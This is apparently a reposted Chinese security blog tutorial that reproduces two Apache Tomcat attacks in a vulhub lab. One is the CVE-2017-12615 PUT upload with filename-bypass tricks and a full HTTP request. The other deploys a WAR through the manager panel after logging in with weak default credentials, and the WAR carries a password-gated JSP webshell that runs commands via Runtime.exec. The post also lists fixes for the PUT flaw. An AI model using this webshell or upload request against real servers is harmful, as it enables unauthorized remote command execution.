Tomcat漏洞—(CVE-2017-12615)和后台部署war文件

文章目录

    • 一、远程代码执行漏洞(CVE-2017-12615)
        • 漏洞原理
        • 漏洞复现
        • 漏洞修复
    • 二、后台部署war文件
        • 漏洞原理
        • 漏洞复现

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。
Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

一、远程代码执行漏洞(CVE-2017-12615)

影响版本:
Apache Tomcat 7.0.0 – 7.0.81

漏洞原理

在Windows服务器上,若Tomcat配置文件中的readonly参数设置为 false 时,则可通过 HTTP PUT 请求方法来创建JSP文件,造成任意代码执行漏洞。

那是指当readonly设置为false时,就可以通过HTTP PUT方法来创建jsp文件吗?

不是这样的。这里就要提到DefaultServlet和JspServlet,DefaultServlet的作用是处理静态文件 ,而JspServlet 的作用是处理 jsp 与 jspx 文件的请求。以下是默认配置情况:
Tomcat漏洞—(CVE-2017-12615)和后台部署war文件_第1张图片
DefaultServlet 可以处理 PUT 或 DELETE 请求,而 JspServlet 中没有 PUT 上传的逻辑,PUT 的代码实现只存在于 DefaultServlet 中。所以这个漏洞需要给jsp文件构造特殊后缀名,绕过 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件。

漏洞复现

漏洞环境:vulhub

运行该漏洞环境:
Tomcat漏洞—(CVE-2017-12615)和后台部署war文件_第2张图片
运行成功后,我们查看容器ID。在这里插入图片描述
进到该容器中。
在这里插入图片描述
查看conf文件夹下的web.xml文件。我们发现 readonly 默认设置为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控。
在这里插入图片描述
在该配置文件中,readonly是设置为false的
Tomcat漏洞—(CVE-2017-12615)和后台部署war文件_第3张图片
接下来我们就要构造数据包了,在构造数据包时,需要构造绕过检测的jsp文件名,有以下三种方式:

test.jsp%20             //针对Apache Tomcat 7.0.0 – 7.0.81
test.jsp:$DATA	       //针对Apache Tomcat 7.0.0 – 7.0.81
test.jsp/      //任意版本,所以这种利用方法不属于该cve漏洞,但利用方式相同

构造数据包,数据包格式如下:

PUT /test.jsp%20 HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

<%out.print("hello");%>

我这里写的是输出hello,你也可以更改成你自己的shell。

由于我测试的漏洞环境中Apache Tomcat 版本是8.x的,所以使用第三种文件名绕过方法。

Tomcat漏洞—(CVE-2017-12615)和后台部署war文件_第4张图片
运行结果如下:
Tomcat漏洞—(CVE-2017-12615)和后台部署war文件_第5张图片

漏洞修复

  1. 配置 conf/webxml 文件的 readOnly 值为 Ture
  2. 如果没有业务需求,禁用PUT方法
  3. 升级Apache Tomcat的版本
  4. 使用WAF

二、后台部署war文件

漏洞原理

Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。若后台管理页面存在弱口令,则可以通过爆破获取密码。

Tomcat默认情况下是不允许任何人登录管理后台的,所以并没有设置的默认密码与用户名。但是如果有使用后台管理的需要时,可以在用户配置文件中(tomcat-users.xml)手动设置用户名和密码,并且根据其需要的功能设置用户权限。

其后台管理权限分为两种:一种是用于管理所部署Web应用,以manager开头,一个是用于管理虚拟主机,以admin开头。

manager(后台管理) 功能 页面地址
manager-gui 拥有html页面的访问权限 /manger/html
manager-status 拥有查看status的权限 /manager/status
manager-script 拥有text接口的权限和status权限 /manager/text/命令?参数
manager-jmx 拥有jmx权限和status权限
host-manager(虚拟主机管理) 功能 页面地址
admin-gui 拥有html页面的访问权限 /host-manager/html
admin-script 拥有text接口的权限和status权限 /manager/text/命令?参数

漏洞复现

漏洞环境:vulhub
Tomcat版本:8.0

启动docker容器并且进入容器中查看tomcat-users.xml文件。命令如下:
Tomcat漏洞—(CVE-2017-12615)和后台部署war文件_第6张图片
查看tomcat-users.xml文件可见,用户tomcat拥有上述所有权限,密码是tomcat。所以我们接下来去访问/manger/html界面去登录后台。登录后的界面为:
Tomcat漏洞—(CVE-2017-12615)和后台部署war文件_第7张图片
将界面往下拉,就看到上传war包的地方了。
Tomcat漏洞—(CVE-2017-12615)和后台部署war文件_第8张图片

将命令执行写入test1.jsp中:

<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>



    
        
        一句话木马
    

    
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("
");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("
"); } %>

并且将其打包成war包(打包方法参考:https://blog.csdn.net/Blood_Pupil/article/details/88660728)。
在这里插入图片描述
上传war包,显示ok则为上传成功。
在这里插入图片描述
访问上传的jsp文件。
Tomcat漏洞—(CVE-2017-12615)和后台部署war文件_第9张图片
命令执行成功!

你可能感兴趣的:(Tomcat漏洞—(CVE-2017-12615)和后台部署war文件)